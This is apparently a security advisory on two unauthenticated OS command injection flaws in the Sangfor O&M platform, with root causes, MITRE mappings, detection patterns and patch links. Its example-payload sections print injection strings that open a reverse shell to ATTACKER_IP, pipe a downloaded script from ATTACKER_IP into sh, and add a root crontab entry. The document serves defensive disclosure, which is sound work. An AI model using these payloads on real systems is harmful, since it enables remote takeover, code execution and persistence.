Affected Product Information

Product	Vendor	Component	Typical Exposure
Sangfor O&M Platform	Sangfor	Operations & Maintenance Management Service	Management interface (HTTP/HTTPS)

The Sangfor O&M platform is commonly deployed as a centralized management interface for Sangfor security and infrastructure products. In many environments, it is reachable from internal networks and, in some cases, mistakenly exposed to the internet.

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Vulnerability Summary

CVE ID	Affected Function	Vulnerability Type	Attack Vector	Authentication	CVSS v3.1	Severity	Exploitability	Exploit Availability
CVE-2025-15501	sessionPath parameter	OS Command Injection	Remote	None	9.8	Critical	Very High	Public techniques exist
CVE-2025-15500	getHis handler	OS Command Injection	Remote	None	9.1	Critical	High	Easily weaponized

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CVE-2025-15501

OS Command Injection via sessionPath

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Vulnerability Information

Field	Description
CVE ID	CVE-2025-15501
Vulnerability Class	Improper Neutralization of OS Commands
CWE	CWE-78
Privilege Level Achieved	Root
Scope	Complete system compromise
Attack Complexity	Low

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Vulnerability Description

CVE-2025-15501 exists due to unsafe handling of the sessionPath parameter within the Sangfor O&M backend.
This parameter is designed to indicate file system paths related to session handling. However, it is directly embedded into shell-level commands without validation, escaping, or restriction.

As a result, an attacker can inject arbitrary operating system commands by including shell metacharacters. These commands are executed by the underlying operating system with high-level privileges, typically as the root user.

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Root Cause Analysis

• User-supplied input is trusted without validation
• Shell commands are constructed using string concatenation
• No allow-list of acceptable path values
• No separation between data and command context
• Backend service runs with elevated privileges

This combination results in a classic but highly dangerous OS command injection vulnerability.

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Exploitation Mechanics

An attacker does not need credentials or prior access.
By sending a crafted HTTP request to the vulnerable endpoint, the attacker can escape the intended command context and inject new commands.

Typical Exploitation Steps

1. Identify a reachable Sangfor O&M management endpoint
2. Craft an HTTP request containing a malicious sessionPath
3. Use shell separators to append OS commands
4. Receive command output or establish a reverse shell
5. Maintain persistence or pivot further into the network

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Example Payloads (Educational Awareness)

Simple command execution:

sessionPath=/tmp;whoami

File system modification:

sessionPath=/var/log;echo hacked > /tmp/status.txt

Reverse shell execution:

sessionPath=/tmp;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

These payloads demonstrate how easily the vulnerability can be weaponized.

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Business and Security Impact

• Full remote code execution without authentication
• Ability to disable security services
• Extraction of credentials, tokens, and configuration data
• Deployment of malware or ransomware
• Use of the compromised system as a pivot point for lateral movement
• Long-term persistence through cron jobs or startup scripts

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MITRE ATT&CK Mapping

Tactic	Technique ID	Description
Initial Access	T1190	Exploit Public-Facing Application
Execution	T1059	Command and Scripting Interpreter
Privilege Escalation	T1068	Exploitation for Privilege Escalation
Persistence	T1547	Boot or Logon Autostart Execution
Defense Evasion	T1070	Indicator Removal
Lateral Movement	T1021	Remote Services

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Detection and Monitoring

Recommended Log Sources

• Sangfor O&M application logs
• Web server access and error logs
• Linux audit logs (process execution)
• Syslog and authentication logs
• Firewall and IDS/IPS logs

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Detection Logic

Web request inspection:

Parameter name: sessionPath
Pattern: ; | && | || | ` | $() 

SIEM correlation logic:

IF request contains "sessionPath"
AND request contains shell metacharacters
AND source is unauthenticated
THEN generate high-severity alert

Host-based indicators:

• Unexpected execution of /bin/sh or /bin/bash
• O&M service spawning network utilities
• Files created in temporary directories

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Remediation and Mitigation

Immediate Mitigations

• Restrict access to the O&M interface at the network layer
• Block management ports from untrusted networks
• Monitor outbound connections from the appliance
• Assume compromise if exposure existed

Official Patch

Sangfor has released an official fix addressing this vulnerability.

Official patch link:
https://support.sangfor.com.cn/security-advisory

Apply the patch as soon as possible and reboot the system after installation.

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CVE-2025-15500

OS Command Injection via getHis Handler

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Vulnerability Information

Field	Description
CVE ID	CVE-2025-15500
Vulnerability Class	OS Command Injection
CWE	CWE-78
Privilege Level Achieved	Root
Scope	Full system takeover
Attack Complexity	Low

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Vulnerability Description

CVE-2025-15500 affects the getHis handler, which is responsible for retrieving historical operational and maintenance data.
The handler accepts user input that is later used to construct system-level commands for log retrieval and parsing.

Because this input is not sanitized or restricted, an attacker can inject arbitrary shell commands that execute immediately when the handler processes the request.

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Technical Details

• User input concatenated into shell commands
• No validation or encoding
• No authentication checks
• Executed by a privileged backend service

The vulnerability allows attackers to completely break out of the intended command flow.

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Exploitation Scenario

1. Attacker sends a crafted request targeting the getHis endpoint
2. Input includes shell command separators
3. Backend executes injected commands
4. Attacker gains direct OS-level control

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Example Payloads

System information disclosure:

getHis=history;uname -a

Payload download and execution:

getHis=data;curl http://ATTACKER_IP/payload.sh | sh

Persistence creation:

getHis=logs;echo "* * * * * root /bin/bash -c '...' " >> /etc/crontab

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Impact

• Complete compromise of the O&M appliance
• Persistent unauthorized access
• Tampering or deletion of logs
• Data exfiltration
• Use of system for internal reconnaissance and attacks

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MITRE ATT&CK Mapping

Tactic	Technique ID	Description
Initial Access	T1190	Exploit Public-Facing Application
Execution	T1059	Command and Scripting Interpreter
Persistence	T1547	Autostart Execution
Defense Evasion	T1070	Indicator Removal

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Detection and Monitoring

Relevant Log Sources

• Application handler logs
• Linux process execution logs
• Network traffic logs
• SIEM event correlation data

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Detection Patterns

Request content inspection:

getHis=.*(;|\||&&|\$\(|`)

Endpoint monitoring:

• O&M service launching shell interpreters
• Unusual child processes
• Network connections initiated by management services

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Remediation

Short-Term Actions

• Immediately limit access to the management interface
• Monitor for indicators of compromise
• Reset credentials if exposure is suspected

Official Patch

Official vendor patch:
https://support.sangfor.com.cn/security-advisory

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Final Takeaway

Both CVE-2025-15501 and CVE-2025-15500 allow unauthenticated remote root-level command execution.
Any exposed Sangfor O&M instance should be treated as high risk and prioritized for immediate patching and investigation.

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